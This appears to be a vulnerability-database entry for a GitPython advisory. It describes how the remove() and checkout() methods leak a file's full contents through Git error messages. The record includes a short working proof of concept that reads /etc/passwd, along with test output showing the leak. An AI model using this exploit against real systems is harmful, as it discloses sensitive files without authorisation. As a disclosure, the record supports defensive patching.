{"id":"CVE-2026-76217","aliases":["GHSA-hh9p-6wh2-4mfc","PYSEC-2026-3841"],"title":"GitPython: Arbitrary file read via --pathspec-from-file in IndexFile.remove() and Head.checkout()","summary":"GitPython: Arbitrary file read via --pathspec-from-file in IndexFile.remove() and Head.checkout()","severity":"medium","cvss":6.5,"cvssVector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","vendor":"gitpython","product":"gitpython","ecosystem":"pip","affected":["gitpython < 3.1.58"],"patched":["gitpython 3.1.58"],"published":"2026-08-07","updated":"2026-09-10","sourceUpdated":"2026-09-10T12:26:07.095223621Z","source":"OSV","sourceUrl":"https://osv.dev/vulnerability/GHSA-hh9p-6wh2-4mfc","references":[{"url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-hh9p-6wh2-4mfc"},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-76217"},{"url":"https://github.com/gitpython-developers/GitPython/pull/2204"},{"url":"https://github.com/gitpython-developers/GitPython/commit/f2550b65bf60ca087190981e2c7b6865e201f40c"},{"url":"https://github.com/gitpython-developers/GitPython"},{"url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58"},{"url":"https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-read-via-pathspec-from-file"},{"url":"https://pypi.org/project/gitpython"},{"url":"https://github.com/advisories/GHSA-hh9p-6wh2-4mfc"}],"tags":["osv","pip","ghsa"],"epss":0.0036,"epssPercentile":0.29709,"cwe":["CWE-73","CWE-200"],"ingestedAt":"2026-08-20T19:23:06.167Z","slug":"CVE-2026-76217","body":"## Overview\n\n## Summary\n\n`IndexFile.remove()` and `Head.checkout()` forward `**kwargs` into `git rm` and `git checkout`\nwith no guard. Passing `--pathspec-from-file=<file>` **together with `--pathspec-file-nul`**\nmakes Git treat the whole file as a single NUL-delimited pathspec, and the unmatched-pathspec\nerror quotes it verbatim. GitPython surfaces that through `GitCommandError.stderr`, so the\nentire contents of a caller-chosen file are returned to the caller in band.\n\nThis is the same primitive as Instance 2 of\n[GHSA-3f7w-8rr8-f37f](https://github.com/advisories/GHSA-3f7w-8rr8-f37f) - `TagReference.create()`\nwith `-F`, arbitrary file read returned in band - at two sites that advisory assessed and\ncleared.\n\n## Prior art, and why I am filing rather than commenting\n\nGHSA-3f7w-8rr8-f37f's sweep table lists these four sites with the assessment\n*\"`--pathspec-from-file` only reads a pathspec; no write or disclosure primitive found\"*:\n\n| Call site | git command | that advisory's assessment |\n|---|---|---|\n| `IndexFile.remove()` | `rm` | `--pathspec-from-file` only reads a pathspec; no write or disclosure primitive found |\n| `IndexFile.move()` | `mv` | same |\n| `HEAD.reset()` | `reset` | same |\n| `HEAD.checkout()` | `checkout` | same |\n\nThat assessment is very nearly right, and I think that is why it held: with\n`--pathspec-from-file` alone, Git splits on newlines and the error quotes only the **first\nline**, which reads as an uninteresting partial. Adding `--pathspec-file-nul` - a sibling flag\nof the same option, and the documented way to handle paths containing newlines - makes the\nwhole file one pathspec.\n\n## Root cause\n\n`git/index/base.py:991-1043`:\n\n```python\ndef remove(self, items, working_tree=False, **kwargs):\n    ...\n    removed_paths = self.repo.git.rm(args, paths, **kwargs).splitlines()   # line 1043\n```\n\n`git/refs/head.py:237-268`:\n\n```python\ndef checkout(self, force: bool = False, **kwargs: Any):\n    ...\n    self.repo.git.checkout(self, **kwargs)                                 # line 268\n```\n\nNeither has an `allow_unsafe_options` parameter or a `check_unsafe_options()` call.\n\n## Proof of concept\n\n```python\nfrom git import Repo\nfrom git.exc import GitCommandError\n\nrepo = Repo(\"/path/to/repo\")\nkw = dict(pathspec_from_file=\"/etc/passwd\", pathspec_file_nul=True)\n\ntry:\n    repo.index.remove([], **kw)          # or: repo.heads[0].checkout(**kw)\nexcept GitCommandError as e:\n    print(e.stderr)                      # <- entire file contents\n```\n\nObserved on published 3.1.57, against a canary file holding three marked lines:\n\n```\n[PASS] IndexFile.remove() -> `git rm` returns ALL 3 canary lines in-band\n       stderr: 'fatal: pathspec 'LINE1-CANARY-4242\n       LINE2-SECRET-7777\n       LINE3-TAIL-9999\n       ' did not match any files'\n[PASS] Head.checkout() -> `git checkout` returns ALL 3 canary lines in-band\n       stderr: 'error: pathspec 'LINE1-CANARY-4242\n       LINE2-SECRET-7777\n       LINE3-TAIL-9999\n       ' did not match any file(s) known to git'\n[PASS] PRECISION: `git status` leaks 0/3 -- not every unguarded site discloses\n[PASS] PRECISION: the GUARDED checkout-index leaks 0/3\n```\n\nThe two precision controls are there so the result is about these sinks and not about the\ncanary being visible everywhere.\n\n## Scope correction to the table above\n\nOf the four sites cleared with that sentence, **two disclose and two do not**:\n\n| Call site | disclosed? |\n|---|---|\n| `IndexFile.remove()` → `git rm` | **yes, full file** |\n| `Head.checkout()` → `git checkout` | **yes, full file** |\n| `HEAD.reset()` → `git reset` | no - `git reset` does not error on unmatched pathspecs |\n| `IndexFile.move()` → `git mv` | no |\n\nThe two negatives are mentioned because \"the dismissal was wrong\" would overstate it: the\ndismissal was wrong for half of what it covered.\n\n## Affected packages\n\n- `gitpython < 3.1.58`\n\n## Remediation\n\nUpgrade to a patched release:\n\n- `gitpython 3.1.58`","depth":"sunlit","depthScore":36,"depthScoreParts":{"impact":35.8,"likelihood":0.1,"exploitation":0,"ransomware":0},"changes":[]}